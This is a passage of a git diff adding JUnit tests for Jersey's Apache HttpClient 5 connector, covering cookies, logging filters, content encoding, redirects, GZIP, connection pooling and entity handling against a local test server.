assertTrue(connector.getCookieStore().getCookies().isEmpty()); + } else { + assertNull(connector.getCookieStore()); + } + } + + @Test + public void testCookies() { + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new Apache5ConnectorProvider()); + JerseyClient client = JerseyClientBuilder.createClient(cc); + WebTarget r = client.target(getBaseUri()); + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("value", r.request().get(String.class)); + + final Apache5Connector connector = (Apache5Connector) client.getConfiguration().getConnector(); + assertNotNull(connector.getCookieStore().getCookies()); + assertEquals(1, connector.getCookieStore().getCookies().size()); + assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue()); + } +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/CustomLoggingFilter.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/CustomLoggingFilter.java new file mode 100644 index 00000000000..8b23445e2fb --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/CustomLoggingFilter.java @@ -0,0 +1,70 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import java.io.IOException; + +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.client.ClientResponseContext; +import jakarta.ws.rs.client.ClientResponseFilter; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.container.ContainerRequestFilter; +import jakarta.ws.rs.container.ContainerResponseContext; +import jakarta.ws.rs.container.ContainerResponseFilter; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Custom logging filter. + * + * @author Santiago Pericas-Geertsen (santiago.pericasgeertsen at oracle.com) + */ +public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter, + ClientRequestFilter, ClientResponseFilter { + + static int preFilterCalled = 0; + static int postFilterCalled = 0; + + @Override + public void filter(ClientRequestContext context) throws IOException { + System.out.println("CustomLoggingFilter.preFilter called"); + assertEquals("bar", context.getConfiguration().getProperty("foo")); + preFilterCalled++; + } + + @Override + public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException { + System.out.println("CustomLoggingFilter.postFilter called"); + assertEquals("bar", context.getConfiguration().getProperty("foo")); + postFilterCalled++; + } + + @Override + public void filter(ContainerRequestContext context) throws IOException { + System.out.println("CustomLoggingFilter.preFilter called"); + assertEquals("bar", context.getProperty("foo")); + preFilterCalled++; + } + + @Override + public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException { + System.out.println("CustomLoggingFilter.postFilter called"); + assertEquals("bar", context.getProperty("foo")); + postFilterCalled++; + } +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/DisableContentEncodingTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/DisableContentEncodingTest.java new file mode 100644 index 00000000000..85b2408d24e --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/DisableContentEncodingTest.java @@ -0,0 +1,103 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.HeaderParam; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; + +import org.apache.hc.client5.http.config.RequestConfig; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.message.GZipEncoder; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author Ondrej Kosatka + */ +public class DisableContentEncodingTest extends JerseyTest { + + @Override + protected Application configure() { + return new ResourceConfig(Resource.class); + } + + @Path("/") + public static class Resource { + + @GET + public String get(@HeaderParam("Accept-Encoding") String enc) { + return enc; + } + } + + @Test + public void testDisabledByRequestConfig() { + ClientConfig cc = new ClientConfig(GZipEncoder.class); + final RequestConfig requestConfig = RequestConfig.custom().setContentCompressionEnabled(false).build(); + cc.property(Apache5ClientProperties.REQUEST_CONFIG, requestConfig); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + WebTarget r = client.target(getBaseUri()); + + String enc = r.request().get().readEntity(String.class); + assertEquals("", enc); + } + + @Test + public void testEnabledByRequestConfig() { + ClientConfig cc = new ClientConfig(GZipEncoder.class); + final RequestConfig requestConfig = RequestConfig.custom().setContentCompressionEnabled(true).build(); + cc.property(Apache5ClientProperties.REQUEST_CONFIG, requestConfig); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + WebTarget r = client.target(getBaseUri()); + + String enc = r.request().get().readEntity(String.class); + assertEquals("gzip, x-gzip, deflate", enc); + } + + @Test + public void testDefaultEncoding() { + ClientConfig cc = new ClientConfig(GZipEncoder.class); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + WebTarget r = client.target(getBaseUri()); + + String enc = r.request().get().readEntity(String.class); + assertEquals("gzip, x-gzip, deflate", enc); + } + + @Test + public void testDefaultEncodingOverridden() { + ClientConfig cc = new ClientConfig(GZipEncoder.class); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + WebTarget r = client.target(getBaseUri()); + + String enc = r.request().acceptEncoding("gzip").get().readEntity(String.class); + assertEquals("gzip", enc); + } + +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/FollowRedirectsTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/FollowRedirectsTest.java new file mode 100644 index 00000000000..cb8932a1f19 --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/FollowRedirectsTest.java @@ -0,0 +1,106 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import java.io.IOException; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientResponseContext; +import jakarta.ws.rs.client.ClientResponseFilter; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.ClientResponse; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Apache connector follow redirect tests. + * + * @author Martin Matula + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Marek Potociar + */ +public class FollowRedirectsTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName()); + + @Path("/test") + public static class RedirectResource { + @GET + public String get() { + return "GET"; + } + + @GET + @Path("redirect") + public Response redirect() { + return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(RedirectResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new Apache5ConnectorProvider()); + } + + private static class RedirectTestFilter implements ClientResponseFilter { + public static final String RESOLVED_URI_HEADER = "resolved-uri"; + + @Override + public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException { + if (responseContext instanceof ClientResponse) { + ClientResponse clientResponse = (ClientResponse) responseContext; + responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString()); + } + } + } + + @Test + public void testDoFollow() { + Response r = target("test/redirect").register(RedirectTestFilter.class).request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + assertEquals( + UriBuilder.fromUri(getBaseUri()).path(RedirectResource.class).build().toString(), + r.getHeaderString(RedirectTestFilter.RESOLVED_URI_HEADER)); + } + + @Test + public void testDontFollow() { + WebTarget t = target("test/redirect"); + t.property(ClientProperties.FOLLOW_REDIRECTS, false); + assertEquals(303, t.request().get().getStatus()); + } +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/GZIPContentEncodingTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/GZIPContentEncodingTest.java new file mode 100644 index 00000000000..d1e43fde834 --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/GZIPContentEncodingTest.java @@ -0,0 +1,94 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import java.util.Arrays; + +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.message.GZipEncoder; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class GZIPContentEncodingTest extends JerseyTest { + + @Override + protected Application configure() { + return new ResourceConfig(Resource.class); + } + + @Path("/") + public static class Resource { + + @POST + public byte[] post(byte[] content) { + return content; + } + } + + @Test + public void testPost() { + ClientConfig cc = new ClientConfig(GZipEncoder.class); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + WebTarget r = client.target(getBaseUri()); + + byte[] content = new byte[1024 * 1024]; + assertTrue(Arrays.equals(content, + r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class))); + + Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)); + assertTrue(cr.hasEntity()); + cr.close(); + } + + @Test + public void testPostChunked() { + ClientConfig cc = new ClientConfig(GZipEncoder.class); + cc.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + + WebTarget r = client.target(getBaseUri()); + + byte[] content = new byte[1024 * 1024]; + assertTrue(Arrays.equals(content, + r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class))); + + Response cr = r.request().post(Entity.text("POST")); + assertTrue(cr.hasEntity()); + cr.close(); + } + +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/HelloWorldTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/HelloWorldTest.java new file mode 100644 index 00000000000..96114cbdb7a --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/HelloWorldTest.java @@ -0,0 +1,400 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import java.io.IOException; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicInteger; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.InternalServerErrorException; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.InvocationCallback; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; + +import org.apache.hc.client5.http.HttpRoute; +import org.apache.hc.client5.http.impl.io.BasicHttpClientConnectionManager; +import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager; +import org.apache.hc.client5.http.io.ConnectionEndpoint; +import org.apache.hc.client5.http.io.HttpClientConnectionManager; +import org.apache.hc.client5.http.io.LeaseRequest; +import org.apache.hc.core5.http.protocol.HttpContext; +import org.apache.hc.core5.io.CloseMode; +import org.apache.hc.core5.util.TimeValue; +import org.apache.hc.core5.util.Timeout; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +/** + * @author Jakub Podlesak + */ +public class HelloWorldTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName()); + private static final String ROOT_PATH = "helloworld"; + + @Path("helloworld") + public static class HelloWorldResource { + + public static final String CLICHED_MESSAGE = "Hello World!"; + + @GET + @Produces("text/plain") + public String getHello() { + return CLICHED_MESSAGE; + } + + @GET + @Produces("text/plain") + @Path("error") + public Response getError() { + return Response.serverError().entity("Error.").build(); + } + + @GET + @Produces("text/plain") + @Path("error2") + public Response getError2() { + return Response.serverError().entity("Error2.").build(); + } + + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HelloWorldResource.class); + config.register(new LoggingFeature(LOGGER, Level.INFO, LoggingFeature.Verbosity.PAYLOAD_ANY, + LoggingFeature.DEFAULT_MAX_ENTITY_SIZE)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new Apache5ConnectorProvider()); + } + + @Test + public void testConnection() { + Response response = target().path(ROOT_PATH).request("text/plain").get(); + assertEquals(200, response.getStatus()); + } + + @Test + public void testClientStringResponse() { + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + } + + @Test + public void testConnectionPoolSharingEnabled() throws Exception { + _testConnectionPoolSharing(true); + } + + @Test + public void testConnectionPoolSharingDisabled() throws Exception { + _testConnectionPoolSharing(false); + } + + public void _testConnectionPoolSharing(final boolean sharingEnabled) throws Exception { + + final HttpClientConnectionManager connectionManager = new PoolingHttpClientConnectionManager(); + + final ClientConfig cc = new ClientConfig(); + cc.property(Apache5ClientProperties.CONNECTION_MANAGER, connectionManager); + cc.property(Apache5ClientProperties.CONNECTION_MANAGER_SHARED, sharingEnabled); + cc.connectorProvider(new Apache5ConnectorProvider()); + + final Client clientOne = ClientBuilder.newClient(cc); + WebTarget target = clientOne.target(getBaseUri()).path(ROOT_PATH); + target.request().get(); + clientOne.close(); + + final boolean exceptionExpected = !sharingEnabled; + + final Client clientTwo = ClientBuilder.newClient(cc); + target = clientTwo.target(getBaseUri()).path(ROOT_PATH); + try { + target.request().get(); + if (exceptionExpected) { + Assertions.fail("Exception expected"); + } + } catch (Exception e) { + if (!exceptionExpected) { + Assertions.fail("Exception not expected"); + } + } finally { + clientTwo.close(); + } + + if (sharingEnabled) { + connectionManager.close(); + } + } + + @Test + public void testAsyncClientRequests() throws InterruptedException { + HttpClientConnectionManager connectionManager = new PoolingHttpClientConnectionManager(); + ClientConfig cc = new ClientConfig(); + cc.property(Apache5ClientProperties.CONNECTION_MANAGER, connectionManager); + cc.connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + WebTarget target = client.target(getBaseUri()); + final int REQUESTS = 20; + final CountDownLatch latch = new CountDownLatch(REQUESTS); + final long tic = System.currentTimeMillis(); + final Map results = new ConcurrentHashMap(); + for (int i = 0; i < REQUESTS; i++) { + final int id = i; + target.path(ROOT_PATH).request().async().get(new InvocationCallback() { + @Override + public void completed(Response response) { + try { + final String result = response.readEntity(String.class); + results.put(id, result); + } finally { + latch.countDown(); + } + } + + @Override + public void failed(Throwable error) { + Logger.getLogger(HelloWorldTest.class.getName()).log(Level.SEVERE, "Failed on throwable", error); + results.put(id, "error: " + error.getMessage()); + latch.countDown(); + } + }); + } + assertTrue(latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS)); + final long toc = System.currentTimeMillis(); + Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic)); + + StringBuilder resultInfo = new StringBuilder("Results:\n"); + for (int i = 0; i < REQUESTS; i++) { + String result = results.get(i); + resultInfo.append(i).append(": ").append(result).append('\n'); + } + Logger.getLogger(HelloWorldTest.class.getName()).info(resultInfo.toString()); + + for (int i = 0; i < REQUESTS; i++) { + String result = results.get(i); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, result); + } + } + + @Test + public void testHead() { + Response response = target().path(ROOT_PATH).request().head(); + assertEquals(200, response.getStatus()); + assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType()); + } + + @Test + public void testFooBarOptions() { + Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals("foo/bar", response.getMediaType().toString()); + assertEquals(0, response.getLength()); + } + + @Test + public void testTextPlainOptions() { + Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType()); + final String responseBody = response.readEntity(String.class); + _checkAllowContent(responseBody); + } + + private void _checkAllowContent(final String content) { + assertTrue(content.contains("GET")); + assertTrue(content.contains("HEAD")); + assertTrue(content.contains("OPTIONS")); + } + + @Test + public void testMissingResourceNotFound() { + Response response; + + response = target().path(ROOT_PATH + "arbitrary").request().get(); + assertEquals(404, response.getStatus()); + response.close(); + + response = target().path(ROOT_PATH).path("arbitrary").request().get(); + assertEquals(404, response.getStatus()); + response.close(); + } + + @Test + public void testLoggingFilterClientClass() { + Client client = client(); + client.register(CustomLoggingFilter.class).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + } + + @Test + public void testLoggingFilterClientInstance() { + Client client = client(); + client.register(new CustomLoggingFilter()).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + } + + @Test + public void testLoggingFilterTargetClass() { + WebTarget target = target().path(ROOT_PATH); + target.register(CustomLoggingFilter.class).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target.request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + } + + @Test + public void testLoggingFilterTargetInstance() { + WebTarget target = target().path(ROOT_PATH); + target.register(new CustomLoggingFilter()).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target.request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + } + + @Test + public void testConfigurationUpdate() { + Client client1 = client(); + client1.register(CustomLoggingFilter.class).property("foo", "bar"); + + Client client = ClientBuilder.newClient(client1.getConfiguration()); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = client.target(getBaseUri()).path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + } + + /** + * JERSEY-2157 reproducer. + *

+ * The test ensures that entities of the error responses which cause + * WebApplicationException being thrown by a JAX-RS client are buffered + * and that the underlying input connections are automatically released + * in such case. + */ + @Test + public void testConnectionClosingOnExceptionsForErrorResponses() { + final BasicHttpClientConnectionManager cm = new BasicHttpClientConnectionManager(); + final AtomicInteger connectionCounter = new AtomicInteger(0); + + final ClientConfig config = new ClientConfig().property(Apache5ClientProperties.CONNECTION_MANAGER, + new HttpClientConnectionManager() { + @Override + public LeaseRequest lease(String id, HttpRoute route, Timeout requestTimeout, Object state) { + connectionCounter.incrementAndGet(); + return cm.lease(id, route, requestTimeout, state); + } + + @Override + public void release(ConnectionEndpoint endpoint, Object newState, TimeValue validDuration) { + connectionCounter.decrementAndGet(); + cm.release(endpoint, newState, validDuration); + } + + @Override + public void connect( + ConnectionEndpoint endpoint, + TimeValue connectTimeout, + HttpContext context + ) throws IOException { + cm.connect(endpoint, connectTimeout, context); + } + + @Override + public void upgrade(ConnectionEndpoint endpoint, HttpContext context) throws IOException { + cm.upgrade(endpoint, context); + } + + @Override + public void close(CloseMode closeMode) { + cm.close(closeMode); + } + + @Override + public void close() throws IOException { + cm.close(); + } + }); + config.connectorProvider(new Apache5ConnectorProvider()); + + final Client client = ClientBuilder.newClient(config); + final WebTarget rootTarget = client.target(getBaseUri()).path(ROOT_PATH); + + // Test that connection is getting closed properly for error responses. + try { + final String response = rootTarget.path("error").request().get(String.class); + fail("Exception expected. Received: " + response); + } catch (InternalServerErrorException isee) { + // do nothing - connection should be closed properly by now + } + + // Fail if the previous connection has not been closed automatically. + assertEquals(0, connectionCounter.get()); + + try { + final String response = rootTarget.path("error2").request().get(String.class); + fail("Exception expected. Received: " + response); + } catch (InternalServerErrorException isee) { + assertEquals("Error2.", isee.getResponse().readEntity(String.class), "Received unexpected data."); + // Test buffering: + // second read would fail if entity was not buffered + assertEquals("Error2.", isee.getResponse().readEntity(String.class), "Unexpected data in the entity buffer."); + } + + assertEquals(0, connectionCounter.get()); + } +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/HttpEntityTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/HttpEntityTest.java new file mode 100644 index 00000000000..9e08aa8c164 --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/HttpEntityTest.java @@ -0,0 +1,83 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import org.apache.hc.core5.http.ContentType; +import org.apache.hc.core5.http.io.entity.ByteArrayEntity; +import org.apache.hc.core5.http.io.entity.InputStreamEntity; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.io.ByteArrayInputStream; +import java.util.logging.Logger; + +public class HttpEntityTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(HttpEntityTest.class.getName()); + private static final String ECHO_MESSAGE = "ECHO MESSAGE"; + + @Path("/") + public static class Resource { + @POST + public String echo(String message) { + return message; + } + } + + @Override + protected Application configure() { + return new ResourceConfig(Resource.class) + .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + } + + @Override + protected void configureClient(ClientConfig config) { + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + config.connectorProvider(new Apache5ConnectorProvider()); + } + + @Test + public void testInputStreamEntity() { + ByteArrayInputStream bais = new ByteArrayInputStream(ECHO_MESSAGE.getBytes()); + InputStreamEntity entity = new InputStreamEntity(bais, ContentType.TEXT_PLAIN); + + try (Response response = target().request().post(Entity.entity(entity, MediaType.APPLICATION_OCTET_STREAM))) { + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals(ECHO_MESSAGE, response.readEntity(String.class)); + } + } + + @Test + public void testByteArrayEntity() { + ByteArrayEntity entity = new ByteArrayEntity(ECHO_MESSAGE.getBytes(), ContentType.TEXT_PLAIN); + + try (Response response = target().request().post(Entity.entity(entity, MediaType.APPLICATION_OCTET_STREAM))) { + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals(ECHO_MESSAGE, response.readEntity(String.class)); + } + } +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/HttpHeadersTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/HttpHeadersTest.java new file mode 100644 index 00000000000..16e135a4c98 --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/HttpHeadersTest.java @@ -0,0 +1,133 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import java.io.IOException; +import java.io.OutputStream; +import java.lang.annotation.Annotation; +import java.lang.reflect.Type; +import java.util.logging.Logger; + +import jakarta.ws.rs.HeaderParam; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.MultivaluedMap; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.ext.MessageBodyWriter; +import 